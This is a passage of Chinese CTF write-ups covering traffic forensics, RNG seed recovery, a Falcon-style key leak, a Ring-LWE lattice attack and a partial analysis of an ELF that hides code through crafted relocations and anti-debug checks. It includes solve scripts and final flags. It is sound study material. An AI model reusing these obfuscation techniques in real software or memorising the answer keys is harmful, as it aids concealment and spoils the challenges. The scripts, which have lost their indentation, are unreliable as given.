pt = decrypt_blocks(key, h.iv, h.ct) # 按程序实现的分组密码模式
pt = unpad(pt, 16) # 去掉填充
n = u32(pt, 0); name = pt[4:4+n].decode()
data = pt[4+n:]说明:KDF 分支与迭代次数、校验值的覆盖范围、填充方式均以反编译结果为准;脚本中这些参数全部取自文件头,没有硬编码。
结果:文件名 core-assets.db,字节数 2424832,SHA-256 5dec31e12a4d02f09d82e254cd752f5ba64bb254472e1111234af2c0e8441419。答案 core-assets.db|2424832|5dec31e12a4d02f09d82e254cd752f5ba64bb254472e1111234af2c0e8441419。
八、通关验证与证据链
六题结果按顺序在题目平台提交,第 1、2、3 题通过后解锁第 4–6 题;全部校验通过后平台返回本题 flag:flag{75583fe0-6e63-499a-91e3-0a4799b5d5c2}。
证据链:管理面浏览器访问节点 pve-lab 的 219 号虚拟机控制台;在该控制台内通过 RDP 登录 10.23.8.41:3389,账户 CORE01\Tsuki;经 RDP 磁盘重定向把加密仓库写到员工侧;仓库口令 NT4VP5X842DD 由空白记事本中的鼠标摩斯动作传递;第二层密码 006187393179 由动态数字键盘逐次点击输入;最终从最新有效快照 d7d68e... 中解出 core-assets.db(2,424,832 字节,SHA-256 5dec31...)。上述链路与举报所称“利用职务便利、未经授权访问内部核心计算机并窃取机密数据”相符。
参考规范:RFC 6143(The Remote Framebuffer Protocol)、Microsoft Open Specifications 的 MS-RDPBCGR 与 MS-RDPEFS、Proxmox VE API 文档、Wireshark 官方文档。
flag:flag{75583fe0-6e63-499a-91e3-0a4799b5d5c2}
考点补充
核心考点:多协议流量取证与操作还原——用 NSS Key Log 解开 TLS 后,在 noVNC 的 WebSocket/RFB 与 RDP(CredSSP、rdpdr、fastpath 输入事件、位图更新)上逐层重组,把“浏览器访问控制台 → RDP 登录 → 磁盘重定向外传 → 快照解密”的完整犯罪链复原成可验证的数据。
关键技巧:按协议分层剥离(WS 帧 → RFB 消息 → 矩形编码;TPKT → X.224 → MCS → 安全头 → rdpdr),并用 ClientHello 的 SNI 与 101 响应所在 TCP 流配对 TLS 会话,而不是数密钥日志行数。RFB 只处理首个含真实像素矩形的 FramebufferUpdate,RDPDR 则以 FileId 为键、按 Offset 乱序拼接文件。
常见坑:把 Cursor/DesktopSize 伪编码当普通矩形会污染画面或读错后续长度,哈希必然不符;WS 分片未重组会让 RFB 长度字段错位;动态键盘必须用“点击前”的帧并按当时的布局取键,且按下与抬起须在同一按钮;摩斯时长与间隔阈值应由数据分位数估计,写死容易分错档。
延伸:keylog + 应用层协议脚本化解析是可复用的取证套路,换用 Tight/ZRLE/Hextile 编码时只需补上对应解码器,导出与哈希规则不变;位图缓存要同步维护,否则局部重绘缺块,动态键盘的点击就无法正确定位。
Dreambound
本题提供 check.py、model_A.npz、model_B.bin 三个文件。check.py 将答案规范化为三组十进制整数(组内以逗号分隔、组间以分号分隔),令 body = sha256(canon)[:32],并校验 sha256("ns::" + body) 是否等于硬编码的 V。因此解题目标是恢复能通过该校验的三组整数,flag 由 body 给出。
model_A.npz 含 8 个 float64 数组:k5(48,32)/k3(48,)、k2(40,48)/k4(40,)、k6(32,40)/k7(32,)、k1(16,32)/k0(16,),对应 32→48→40→32→16 的四层全连接网络。各权重矩阵中存在大量完全相同的行或列,说明矩阵由较小的核心权重按随机行、列复制扩张而来;对全部标量去重后共得到 926 个互不相同的数值。
model_B.bin 为 44,982 字节,与 model_A.npz 大小相同,具有迷惑性。统计检验显示其字节熵为 7.9966/8,256 个字节取值的卡方统计量约 209.6(自由度 255),近似均匀随机;在外层 zip 中以 deflate 存储时反而从 44,982 字节增大到 44,997 字节,说明不可压缩。因此它不是可解析的模型文件,而是题面所称的“沉淀”,即干扰数据,后续解题不依赖它。
观察去重后的权重,数值服从标准差约 0.6 的高斯分布,推测模型由 NumPy 随机数生成器生成。以日期格式 YYYYMMDD 作为候选种子,在 2024-01-01 至 2026-12-31 内逐日枚举,检查 np.random.default_rng(seed).normal(0, 0.6, 32) 是否与 model_A["k5"][0] 逐位相等。第 1036 个候选(2026-11-01,即 20261101)命中。进一步生成该种子的前 974 个高斯数,可覆盖模型全部 5,384 个标量(926 个唯一值);各数组对应的高斯流下标区间如下表,确认种子正确。
数组 | 形状 | 元素数 | 使用到的核心值下标区间 |
|---|---|---|---|
k5 | 48×32 | 1536 | 0–447 |
k3 | 48 | 48 | 448–461 |
k2 | 40×48 | 1920 | 462–629 |
k4 | 40 | 40 | 630–641 |
k6 | 32×40 | 1280 | 642–785 |
k7 | 32 | 32 | 786–797 |
k1 | 16×32 | 512 | 798–957 |
k0 | 16 | 16 | 958–973 |
答案的三组排列并非由权重的重复结构编码,而是来自与模型种子相邻的随机种子。按 check.py 的规范化方式,将三组排列按 48、40、32 的顺序连续生成:rng = np.random.default_rng(20261102),p1 = rng.permutation(48),p2 = rng.permutation(40),p3 = rng.permutation(32),再以分号、逗号拼接。对 20261101±7 的种子并同时覆盖逆排列、三组输出顺序进行搜索,种子 20261102、原始顺序(48、40、32)通过校验,body = 5c2aabdc937513bde1ba502f14cc51b6。
补充:在恢复种子之前,曾尝试按重复行/列分组、按偏置或权重范数排序、以首次出现位置作为分组标签等方式构造三组下标,均无法通过哈希校验。结合重复结构可被方差 0.6 的高斯流完整解释这一事实,可以确认重复只是模型扩张生成的产物,答案来自独立的排列种子。
最终三组排列写入 answer.txt,执行原始 check.py 的输出为:
[+] correct! flag = flag{5c2aabdc937513bde1ba502f14cc51b6}exp
import datetime
import hashlib
import subprocess
import sys
from pathlib import Path
import numpy as np
V = "cf8303ef7e9fc6f51baf27b6e2c8763bd199a0a24c5294bcdaca3ddef6e47864"
START, END = datetime.date(2024, 1, 1), datetime.date(2026, 12, 31)
def canon(lists):
return ";".join(",".join(str(int(v)) for v in L) for L in lists)
def verify(lists):
body = hashlib.sha256(canon(lists).encode()).hexdigest()[:32]
return hashlib.sha256(("ns::" + body).encode()).hexdigest() == V, body
def recover_model_seed(model):
ref = model["k5"][0]
d, n = START, 0
while d <= END:
seed = int(d.strftime("%Y%m%d"))
n += 1
if np.array_equal(np.random.default_rng(seed).normal(0.0, 0.6, ref.size), ref):
return seed, n
d += datetime.timedelta(days=1)
raise RuntimeError("model seed not found")
def main():
root = Path(sys.argv[1]) if len(sys.argv) > 1 else Path(file).resolve().parent
model = np.load(root / "model_A.npz")
vals = np.concatenate([model[k].ravel() for k in model.files])
seed, attempts = recover_model_seed(model)
print(f"[+] model seed = {seed} (date-seed #{attempts})")
stream = np.random.default_rng(seed).normal(0.0, 0.6, 4096)
first = {}
for i, bits in enumerate(stream.view("<u8")):
first.setdefault(int(bits), i)
used = sorted(first[int(b)] for b in np.unique(vals.view("<u8")))
print(f"[+] all {vals.size} scalars covered; draws needed = {used[-1] + 1}, "
f"unique = {len(used)}")
import itertools
for delta in range(-7, 8):
cand = seed + delta
rng = np.random.default_rng(cand)
ps = [rng.permutation(n) for n in (48, 40, 32)]
variants = [ps, [np.argsort(p) for p in ps]]
for base in variants:
for order in itertools.permutations(range(3)):
lists = [base[i] for i in order]
ok, body = verify(lists)
if ok:
answer = canon(lists)
(root / "answer.txt").write_text(answer + "\n", encoding="utf-8")
(root / "flag.txt").write_text(f"flag{{{body}}}\n", encoding="utf-8")
print(f"[+] permutation seed = {cand} (delta {delta:+d})")
print(f"[+] answer -> {root / 'answer.txt'}")
print(f"[+] flag{{{'%s' % body}}}")
subprocess.run([sys.executable, str(root / "check.py"),
str(root / "answer.txt")], check=False)
return
raise RuntimeError("permutation seed not found")
if __name__ == "__main__":
main()flag 值:
flag{5c2aabdc937513bde1ba502f14cc51b6}考点补充
核心考点:从 NumPy 权重里还原生成器种子——识别
model_A.npz的大量重复行/列只是核心权重按随机行列复制扩张的产物,再用日期种子逐位复现高斯流、由相邻种子推出 permutation 答案。关键技巧:先对全部标量去重得到 926 个唯一值,再用
np.random.default_rng(seed).normal(0, 0.6, 32)与model_A["k5"][0]逐位比对锁定 20261101;随后用stream.view("<u8")记录每个 float64 首次出现下标,验证 974 次抽取覆盖 5,384 个标量,最后在 ±7 天内枚举种子、逆排列与 6 种组序,用sha256("ns::"+body) == V判定。常见坑:把重复行/列当成编码信息(按重复分组、按偏置或范数排序、用首次出现位置当标签)必然通不过校验;
model_B.bin与模型同大小却是熵 7.9966、卡方 209.6、deflate 后反而变大的随机“沉淀”,不必解析;flag 里的 32 位是canon的 sha256 前缀body,不是硬编码的V;三组排列必须从同一个 rng 连续取 48→40→32,顺序错了同样失败。延伸:凡是
default_rng(seed)批量生成的 npz/bin,都可按“去重压缩搜索空间→用首行做种子指纹→用已知哈希或 flag 格式做在线校验”的套路还原;本题目录种子取日期格式,实际可扩大到时间戳、题号等常见构造。
Crypto
frozen
附件 task.py 实现了一套类 Falcon/NTRU 的密钥生成与树结构展开,参数为:
N = 128
Q = 12289
SIGMA = 19.16服务端输出三部分数据:
pubkey:公钥及参数;memory:经过随机位翻转的内存泄漏;flag:加密后的 flag。
本篇对应容器 123.57.40.178:36885,使用已保存的实例 instance_123_57_40_178_36885.txt,解题脚本为 solve.py。复现只需读取本地文件,不需要再次连接服务器。
一、审计加密流程
乍看需要根据受损内存恢复 NTRU 私钥,但审计 flag 的加密过程后,可以找到更直接的目标:
ff = poly_mul(key["f"], poly_adj(key["f"], N), N)
gg = poly_mul(key["g"], poly_adj(key["g"], N), N)
D = [a + b for a, b in zip(ff, gg)]
canon = ",".join(str(c) for c in D).encode()
fk = hashlib.sha256(b"frozen:" + canon).digest()
ct = bytes(a ^ b for a, b in zip(flag, keystream(fk, len(flag))))加密密钥仅由整数多项式 $D=ff^{}+gg^{}$ 决定,其中 $f^{*}$ 表示 $f$ 的伴随多项式,密钥生成所在的环为:
$$\mathcal{R}q=\mathbb{Z}q[x]/(x^N+1)$$
$D$ 的系数始终留在整数域,求和中并未对 $q$ 取模。因此,不必恢复完整私钥,只需要恢复 $D$ 的整数系数。
注意:这里的 $D$ 没有对 $q$ 取模,恢复后不能将其系数模 $q$。
二、泄漏中仍然保存了目标信息
2.1 被删除的是四组私钥 FFT
expanded_doubles() 的序列化顺序为:
fft(f);fft(g);fft(F);fft(G);树的全部内部节点;
树的全部叶子。
每个复数数组均先存所有实部,再存所有虚部,使用小端 double。内部节点按先序遍历排列,叶子单独集中存放。
随后题目截掉前 8192 字节:
head = 8 * 128
cblob = cblob_full[head * 8:]四组私钥 FFT 恰好占:
$$4\times 2N\times 8=4\times 2\times 128\times 8=8192\ \text{字节}$$
因此,直接保存私钥 FFT 的部分被移除,但后面的树结构仍然保留。
2.2 左子树编码了目标多项式的频域值
树的构造如下:
G00 = gh * np.conj(gh) + fh * np.conj(fh)
G01 = gh * np.conj(Gh) + fh * np.conj(Fh)
G11 = Gh * np.conj(Gh) + Fh * np.conj(Fh)
Ltop = G01 / G00
Dright = G11 - Ltop * np.conj(Ltop) * G00
return [Ltop, _T(G00), _T(Dright)]对于单位圆上的取值点,实系数多项式的伴随对应复共轭,所以:
$$\overline{f_h}=f^{}(\zeta),\qquad \overline{g_h}=g^{}(\zeta)$$
也就是说:
$$G_{00}=g_h\overline{g_h}+f_h\overline{f_h}=g(\zeta)g^{}(\zeta)+f(\zeta)f^{}(\zeta)=D(\zeta)$$
泄漏中保留的左子树 _T(G00),恰好包含派生 flag 密钥所需的多项式信息。
解析时先跳过 Ltop,也就是 2*N 个 double,再读取两棵子树的内部节点,最后读取叶子。不能误以为每个内部节点后立即跟着其叶子。
三、逆向树结构
题目的递归过程为:
def _T(E):
n = len(E)
if n == 1:
return [float(np.real(E[0]))]
Ee, Eo = splitfft(E)
L = np.conj(Eo) / Ee
return [L, _T(Ee), _T(Ee - L * np.conj(L) * Ee)]设当前输入 $E$ 长度为 $n$,splitfft() 将其拆成 $E_e$、$E_o$ 两个分量,节点中保存:
$$L=\frac{\overline{E_o}}{E_e}$$
由于目标频域数组是实数,且单位根的模为 1,$L$ 每个分量的辐角只由下标决定:
$$L_i=r_i\,e^{i\theta_i},\qquad \theta_i=\frac{\pi(2i+1)}{n}\ (0\le i<n/2),\qquad r_i\in\mathbb{R}$$
定义实数比值:
$$r_i=\frac{\Re L_i}{\cos\theta_i}=\frac{\Im L_i}{\sin\theta_i}$$
则:
$$E=\big[\,A\,(1+r),\ A\,(1-r)\,\big],\qquad A=E_e$$
只要恢复 $r$ 和左子树表示的 $A$,就能重建整层频域数组。因此,沿左分支递归即可恢复整个 $G_{00}$,无需使用每层的右子树,也无需使用顶层的 Ltop。
四、利用冗余修复随机位翻转
4.1 损坏模型
题目对每个 double 的位 0..55 和符号位 63 进行随机翻转:
RHO10 = 0.01
RHO01 = 0.001即:
1 → 0的概率为 0.01;0 → 1的概率为 0.001。
受影响的位置包含尾数、部分指数位和符号位,因此部分浮点值会严重偏离原值,不能直接用于重建。但每个比值都有四份冗余观测,可以据此修复。
4.2 实部与虚部提供两份观测
记该层第 $i$ 个存储值为 $L_i=r_i(\cos\theta_i+i\sin\theta_i)$,其中 $\theta_i=\pi(2i+1)/n$。由实部与虚部分别可得:
$$r_i=\frac{\Re L_i}{\cos\theta_i}=\frac{\Im L_i}{\sin\theta_i}$$
这就在同一个位置上提供了两份相互独立的观测。
4.3 镜像位置再提供两份观测
因为 $D$ 自伴随,频域值满足:
$$\overline{\hat D_k}=\hat D_{N-1-k}$$
沿左分支做平均后,该性质仍然成立。令 $m=n/2-1-i$ 为镜像下标,可以推出:
$$L_m=\overline{L_i},\qquad r_m=-r_i$$
于是同一个比值有四个估计值:
$$r_i^{(1)}=\frac{\Re L_i}{\cos\theta_i},\quad
r_i^{(2)}=\frac{\Im L_i}{\sin\theta_i},\quad
r_i^{(3)}=-\frac{\Re L_m}{\cos\theta_m},\quad
r_i^{(4)}=-\frac{\Im L_m}{\sin\theta_m}$$
具体修复方法:
计算四个估计值;
枚举其中的六个二元组合;
选出差值绝对值最小的一对;
将两者平均,作为恢复后的比值;
按镜像关系设置另一侧的比值。
这能排除很多因高位翻转而产生的离群值。需要说明,这是一种适用于本次实例的启发式方法,并不保证任意随机损坏都能恢复,因此后面还要检查整数舍入误差。
4.4 最底层与尺度
当 $n=2$ 时,由对称性有:
$$\theta=\frac{\pi}{2},\qquad \cos\theta=0,\qquad r=0$$
因此直接令比值为零,避免除以接近零的余弦。
一直沿左分支到达的叶子,是所有频域值的平均:
$$s_0=\frac{1}{N}\sum_{k=0}^{N-1}\hat D_k$$
本次实例中该叶子为 87980.00000000003,与真实整数 87980 极为接近,因此能够直接作为重建尺度。当前脚本没有实现该叶子严重损坏时的额外修复。
五、恢复整数多项式并解密
题目的 FFT 定义为带半步旋转的变换:
$$\hat f_k=\sum_{j=0}^{N-1} f_j\,\omega^{j(k+1/2)},\qquad \omega=e^{2\pi i/N}$$
拆出半步旋转:
$$f_j=\frac{1}{N}\,e^{-i\pi j/N}\sum_{k=0}^{N-1}\hat f_k\,e^{-2\pi ijk/N}$$
NumPy 的 fft() 使用负指数,所以恢复系数的公式是:
coefficients = (
np.fft.fft(spectrum) / size
* np.exp(-1j * np.pi * np.arange(size) / size)
).real再将结果舍入为整数:
rounded = np.rint(coefficients).astype(np.int64)这里要使用
fft()配合除以 N,不能直接替换成普通的ifft()。
本次恢复的最大舍入误差为:
1.4854776964057237e-08还可以检查自伴随性质对应的系数关系:
$$D{N/2}=0,\qquad D_i=-D{N-i}\ (1\le i<N)$$
最后按原题方式派生密钥:
$$f_k=\mathrm{SHA256}(\texttt{"frozen:"}\,|\,canon(D))$$
其中 $canon(D)$ 是将全部整数系数转换成十进制字符串,以逗号连接,不包含空格。
密钥流为:
$$\mathrm{keystream}(f_k,L)=\Big|_{c=0}^{\lceil L/32\rceil-1}\mathrm{SHA256}\big(f_k\,|\,\mathrm{be32}(c)\big)$$
截取到密文长度后,与密文异或即可。
六、完整 EXP
以下代码与工作区 solve.py 一致。脚本只读取本地保存的数据,不连接服务器,仅依赖 NumPy,不需要 fpylll 或 SciPy。
import hashlib
import itertools
import json
from pathlib import Path
import sys
import numpy as np
def load_instance(path):
fields = dict(line.split("=", 1) for line in Path(path).read_text().splitlines() if "=" in line)
fields = {name.strip(): value.strip() for name, value in fields.items()}
return json.loads(fields["pubkey"]), bytes.fromhex(fields["memory"]), bytes.fromhex(fields["flag"])
def parse_tree(memory, size):
values = np.frombuffer(memory, dtype="<f8")
position = 2 * size
def read_nodes(length):
nonlocal position
if length == 1:
return {}
half = length // 2
real = values[position:position + half]
imag = values[position + half:position + length]
position += length
return {"real": real, "imag": imag, "left": read_nodes(half), "right": read_nodes(half)}
left = read_nodes(size)
right = read_nodes(size)
def read_leaves(node):
nonlocal position
if not node:
node["leaf"] = float(values[position])
position += 1
else:
read_leaves(node["left"])
read_leaves(node["right"])
read_leaves(left)
read_leaves(right)
assert position == len(values)
return left, right
def repair_ratios(node):
half = len(node["real"])
angles = np.pi * (2 * np.arange(half) + 1) / (2 * half)
ratios = np.zeros(half)
confidence = np.zeros(half)
for index in range(half // 2):
reverse = half - 1 - index
observations = [node["real"][index] / np.cos(angles[index]),
node["imag"][index] / np.sin(angles[index]),
-node["real"][reverse] / np.cos(angles[reverse]),
-node["imag"][reverse] / np.sin(angles[reverse])]
pairs = list(itertools.combinations(observations, 2))
first, second = min(pairs, key=lambda pair: abs(pair[0] - pair[1]))
ratios[index] = (first + second) / 2
ratios[reverse] = -ratios[index]
confidence[index] = confidence[reverse] = abs(first - second)
return ratios, confidence
def reconstruct(node, depth=0):
if "leaf" in node:
return np.array([node["leaf"]])
average = reconstruct(node["left"], depth + 1)
ratios, errors = repair_ratios(node)
print("level", depth, "ratio disagreement", max(errors), "scale", average.mean())
return np.concatenate((average * (1 + ratios), average * (1 - ratios)))
def decrypt(coefficients, ciphertext):
canonical = ",".join(str(int(value)) for value in coefficients).encode()
key = hashlib.sha256(b"frozen:" + canonical).digest()
stream = b"".join(hashlib.sha256(key + counter.to_bytes(4, "big")).digest()
for counter in range((len(ciphertext) + 31) // 32))
return bytes(first ^ second for first, second in zip(ciphertext, stream))
def main():
public, memory, ciphertext = load_instance(sys.argv[1] if len(sys.argv) > 1 else "instance.txt")
size = public["N"]
left, right = parse_tree(memory, size)
spectrum = reconstruct(left)
coefficients = (np.fft.fft(spectrum) / size * np.exp(-1j * np.pi * np.arange(size) / size)).real
rounded = np.rint(coefficients).astype(np.int64)
rounding_error = max(abs(coefficients - rounded))
print("rounding error:", rounding_error)
if not np.isfinite(rounding_error) or rounding_error > 0.01:
raise ValueError("Recovery is not sufficiently close to integer coefficients")
assert rounded[size // 2] == 0
assert all(rounded[index] == -rounded[size - index] for index in range(1, size))
print("flag:", decrypt(rounded, ciphertext).decode())
if __name__ == "__main__":
main()安装依赖:
python -m pip install numpy明确指定本次新容器的数据文件运行:
python solve.py instance_123_57_40_178_36885.txt注意:工作区中的 instance.txt 来自此前的旧容器。脚本无参数运行时默认读取旧文件,因此复现本篇结果时必须使用上述文件名。
输出末尾:
rounding error: 1.4854776964057237e-08
flag: flag{68aa5a05-6ce9-4b89-9617-992cf0a290c9}最终 flag:
flag{68aa5a05-6ce9-4b89-9617-992cf0a290c9}考点补充
核心考点:Falcon/NTRU 密钥结构里 $D=ff^{}+gg^{}$ 的自伴随性,以及 flag 加密只依赖 $D$ 的整数系数——题目表面要求恢复私钥,实际只需恢复一个自伴随多项式的频域值。
关键技巧:按
expanded_doubles()的布局跳过前 8192 字节的四组私钥 FFT,只沿_T(G00)的左分支递归;每层比值用实部、虚部与镜像共轭凑出四个估计,取最接近的一对平均来压制随机位翻转,最后用带半步旋转的fft/N 还原整数系数。常见坑:$D$ 未对 $q$ 取模,恢复后不能取模;解析顺序是先
Ltop、再全部内部节点、最后叶子,节点与叶子并非交错排列;$\theta_i=\pi/2$($n=2$)时余弦为零,必须直接置比值为 0;还原系数不能把fft换成ifft。延伸:遇到「泄漏的是密钥派生中间量」的题,先审计 flag 的加密路径往往比硬恢复私钥更省力;当数据被随机位翻转时,优先找同一量的多重冗余观测(实/虚部、共轭镜像、多份副本),用一致性挑出离群值,再用舍入误差做最终校验。
hoRRibleRing
1. flag 的生成方式
题目参数为:
p = 0x3ac01f87 # 985669511
n = 512
sigma = 3.371对 flag 的每一位,脚本分别生成两种样本:
位为 0:随机选择 $a$,并采样系数服从离散高斯分布的 $s$、$e$,计算 $b = (a \cdot s + e) \bmod f$。
位为 1:$a$、$b$ 都直接均匀随机生成。
每个 0 位都会重新采样 $s$、$e$,不能把所有样本当成共用同一把私钥。samples.txt 一共有 336 组样本,对应 42 字节的 flag。样本顺序就是 flag 的二进制顺序,每字节高位在前。
因此,目标不是直接解一个密文,而是区分 Ring/Polynomial-LWE 样本和均匀随机样本。
2. 可利用的多项式关系
先在有限域上分解 $f$,可以看到它有很多低次数因子,其中一次因子有 140 个。但可分解本身还不足以解出题目:如果随便选一个很大的根代入,小系数误差的求值也可能已经接近均匀分布。
继续检查这些根的小指数幂,发现有 10 个根满足:
$$r^{10} \equiv c \pmod p, \quad c = 84865842$$
接着对 $1, c, c^2, \dots$ 寻找短整系数关系。下面这种整数格可以做 LLL:
# Sage 形式,d 可以先取 16
L = matrix(ZZ, d + 1, d + 1)
L[0, 0] = p
for i in range(1, d + 1):
L[i, 0] = -power_mod(c, i, p)
L[i, i] = 1
L = L.LLL()这里得到的一个短关系是:
$$c^{10} + c^5 - c^2 + 1 \equiv 0 \pmod p$$
代回 $c = r^{10}$,得到小系数多项式:
$$H(x) = x^{100} + x^{50} - x^{20} + 1$$
它还能写成:
$$H(x) = (x^{10} + 1) \cdot G(x)$$
其中
$$G(x) = x^{90} - x^{80} + x^{70} - x^{60} + x^{50} - x^{10} + 1$$
计算公因子:
G = x^90 - x^80 + x^70 - x^60 + x^50 - x^10 + 1
h = gcd(f, G)
print(h.degree())
# 58$G$ 并不能整除 $f$;用于投影的是 $h = \gcd(f, G)$,次数为 58。
3. 样本投影到模 h 的环
因为 $h$ 整除 $f$,对模 $f$ 成立的关系,继续模 $h$ 后仍然成立。
再令:
$$s' = s \bmod G, \quad e' = e \bmod G$$
这里先在整数多项式环里取余。由于 $h$ 也整除 $G \bmod p$,所以 0 位满足:
$$a \cdot s' + e' \equiv b \pmod h$$
此时 $s'$、$e'$ 的次数都小于 90,总共只有 180 个整数系数。模 $h$ 后提供 58 个模 $p$ 的线性约束。后面的格只需处理这个投影问题。
对一个样本,定义两个矩阵:
$$A[:, j] = \operatorname{coeff}(a \cdot x^j \bmod h), \quad B[:, j] = \operatorname{coeff}(x^j \bmod h), \quad 0 \le j < 90$$
$A$、$B$ 的形状都是 $58 \times 90$,于是:
$$A \cdot s' + B \cdot e' \equiv b \pmod p$$
4. 误差按协方差缩放
不能直接把 $s'$、$e'$ 的每个系数都当成标准差为 3.371。原来的 512 个小系数经过模 $G$ 取余后,会叠加并产生相关性。
把 $x^i \bmod G$ 的系数作为第 $i$ 列,构造 $90 \times 512$ 的整数矩阵 $R$。原始高斯系数向量记为 $z$,则投影后的系数向量是 $Rz$,其协方差为:
$$\operatorname{Cov}(Rz) = \sigma^2 C, \quad C = R \cdot R^{\mathsf{T}}$$
因此,小解应按下面的长度衡量:
$$s'^{\mathsf{T}} C^{-1} s' + e'^{\mathsf{T}} C^{-1} e'$$
实现时先对 $R$ 的行基做一次 LLL,得到整数可逆矩阵 $U$ 和 $R_1 = UR$。然后对 $R_1 R_1^{\mathsf{T}}$ 做 Cholesky 分解,并用整数矩阵近似缩放变换:
$$F = U^{\mathsf{T}} \cdot \operatorname{round}\left(128 \cdot \operatorname{chol}(R_1 R_1^{\mathsf{T}})^{-\mathsf{T}}\right)$$
对行向量 $v$,$vF/128$ 的欧氏长度就近似于上述协方差归一化长度。配套脚本中的 metric.json 保存的是这一步的公开预处理矩阵,不包含 flag 或私钥;删除它和 ideal.json 后,脚本也可以重新生成。
5. 构造 181 维嵌入格
先构造齐次格:
$$L_0 = {(u, v) \in \mathbb{Z}^{180} : Au + Bv \equiv 0 \pmod p}$$
因为 $B$ 的前 58 列是单位矩阵,可以用 $s'$ 的 90 个系数、$e'$ 的后 32 个系数作为自由变量,把前 58 个误差系数表示出来,再加入 $p$ 的倍数。
实际实现还对以下理想格预先约化,减少每个样本的重复计算:
$$K = {v \in \mathbb{Z}^{90} : Bv \equiv 0 \pmod p}$$
设其约化基为 $K$,为每个秘密坐标选择一个误差补偿行,组成 $E$,就能得到块形式的基:
$$L_0 = \begin{bmatrix} I_{90} & E \ 0 & K \end{bmatrix}$$
把 $b$ 的 58 个系数补零到 90 维,目标向量取为 $t = (0, b)$。令 $W = \operatorname{diag}(F, F)$,做 Kannan embedding:
$$\hat{L} = \begin{bmatrix} L_0 W & 0 \ tW & \tau \end{bmatrix}, \quad \tau = \operatorname{round}(128\sigma) = 431$$
最终矩阵为 $181 \times 181$。如果样本是 0,这个格里会出现与小系数 $s'$、$e'$ 对应的短向量;样本为 1 时,通常找不到同等长度的向量。
使用 LLL 后继续做 BKZ-40、BKZ-45。这里使用了 fplll 官方的 pruning 策略文件。换用没有合适策略的约化参数,耗时会明显增加,也更容易漏掉短解。
本次记录中的长度均已除以 128:
判为 0 的短向量长度为 40.28~51.56。
判为 1 的样本,其已保存分数约为 1067.31~1282.29。
实践中以 100 为阈值。没有找到短解而判为 1,仍然是格算法的判别结果,并不是「不存在短解」的数学证明;可疑位应提高 BKZ 强度再检查。
6. 利用已知格式还原 flag
已知前缀是 flag{。结合 42 字节长度,以及逐步解出的字符,flag 符合 UUID 格式。
本次没有把 336 位全部逐一约化。实际保存了 228 个样本的分数,其中 21 个属于已知前缀,207 个属于后续内容;其他位利用已知前缀、可打印 ASCII 和 UUID 十六进制字符格式补齐。
主要计算每字节的低四位和区分数字、字母的位;字母的大小写另外计算。横线与末尾 } 也进行了检查。这些格式补齐的位,没有计入短向量求解成功的数量。
最后按原顺序拼回每个字节,得到:
flag{a5c0e489-a8e6-4532-b03a-f875461165cd}考点补充
核心考点:Ring/Polynomial-LWE 的判定型问题——区分 $(a,\, b = a \cdot s + e)$ 样本与均匀随机样本,本质是在格上找一个与小系数 $s'$、$e'$ 对应的短向量。
关键技巧:先分解 $f$ 找低次因子,用 $r^{10} \equiv c$ 把根降到可处理的小幂次,再对 $1, c, c^2, \dots$ 建整数格跑 LLL 得到短关系,从而造出小系数多项式 $H$,取 $h = \gcd(f, G)$ 把 512 维压到 58 个约束、180 个未知量。
常见坑:每个 0 位都重新采样 $s$、$e$,不能当成共用同一私钥联立多组样本;投影后系数不再独立,直接按 $\sigma = 3.371$ 估长会失真,须用 $\operatorname{Cov}(Rz) = \sigma^2 R R^{\mathsf{T}}$ 归一化;BKZ 要配 fplll 的 pruning 策略,否则容易漏解;判为 1 只是没找到短向量,不等于证明其不存在。
延伸:这类「按位/按字节编码 flag」的判定题可先用已知前缀、可打印 ASCII、UUID 十六进制格式补齐大部分位,只对关键位提高 BKZ 强度求解,本题 336 位中实际只约化了 228 个样本。
Reverse
ELFStudy
flag{4865f2079724968a95c217e0ff4db6c6}复现
在原工作区使用已有的便携 Python:
& .\tools\python\python.exe -B .\elfstudy_work\solve_elfstudy.py
& .\tools\python\python.exe -B .\elfstudy_work\verify_elfstudy.py求解脚本仅依赖标准库;机器码验证使用工作区内已有的 Unicorn。所有产物均在 elfstudy_work 内。原 ZIP 未修改,elfstudy 是从 ZIP 读取出的原始程序。unpacked.bin 是供分析使用的还原快照,不是修复后的可直接运行 ELF。
1. 动态重定位隐藏代码
这是一个去除符号表的 x86-64 Linux ELF,表面上是 ELF 结构查看器。main 位于 0x2a50,其中 0x2e16 调用 0x3b30;静态文件里的该函数只有 endbr64、NOP 和 RET。
异常线索在于动态表:节表中的 .rela.dyn 大小为 0x258,但 DT_RELASZ 为 0x5e8。加载器实际处理的内容比节表描述的更长。
关键重定位链如下(均为 ELF 内相对地址):
开头四条
R_X86_64_RELATIVE重叠改写动态符号 57 的字段,将其指向0x1d30。R_X86_64_COPY向0x894复制 14 字节,修改动态符号 49,使其指向0x1988,长度成为0x390。下一条 COPY 将该隐藏重定位表复制到
0x15e0,也就是加载器接下来要处理的位置。隐藏表通过
R_X86_64_SIZE64将符号 57 的值改为0x16493f2103392e07。随后多条R_X86_64_64将这个值与各自的 addend 相加,在0x7325开始的位置拼出代码。重定位修改符号 55 为 GNU IFUNC,解析器地址为
0x7325,后续引用触发执行。表尾还从0x76c6恢复原 PLT 重定位数据。
隐藏内容处于节与加载段尾部的页内空隙;常规按 .text 范围反汇编无法完整看到它。
2. IFUNC 解密与自擦除
还原后的 0x7325 解析器先通过 DT_DEBUG 检查动态加载器状态,并检查 r_brk 处是否有 0xcc 断点。随后对 0x7396 + 4*i 的 DWORD 逆序解密,i 从 0xcb 到 1:
acc = 0
for i in range(0xcb, 0, -1):
plain = encrypted[i] ^ acc
# plain == 0 时原程序会提前退出
acc = (acc + plain) & 0xffffffff解密后的实际校验入口为 0x739a。解析器将 0x3b34 改为 call 0x739a; ret,最后清零自身开头的 0x61 字节。
3. 输入与校验算法
校验器检查 /proc/self/status 的 TracerPid,以及加载器链表中的对象数是否超过 7。真正被校验的是全局地址 0xb1c0 中的字符串,即 main 复制的 argv[1],不是文件内容。
格式必须为 flag{ 加 32 个十六进制字符加 },共 38 个字符。解码成 16 字节后,按小端解释成两个 64 位整数。
常量解混淆得到初始密钥:
K[0] = 0x1fa6bee7224fb586
K[1] = 0x56fc5596cf5bad58
目标 L = 0x4fb335a84fa7d2d7
目标 R = 0x02a183e3b4f4f49f代码用 (a | b) + (a & b) 隐藏加法,用 (a | b) - (a & b) 隐藏异或。化简后,所有加法按 64 位截断:
K[i] = ROL64(K[i-1] + K[i-2], 13)
XOR ROR64(K[i-2], 7)
XOR (i * 0x9e3779b97f4a7c15) # i = 2..31
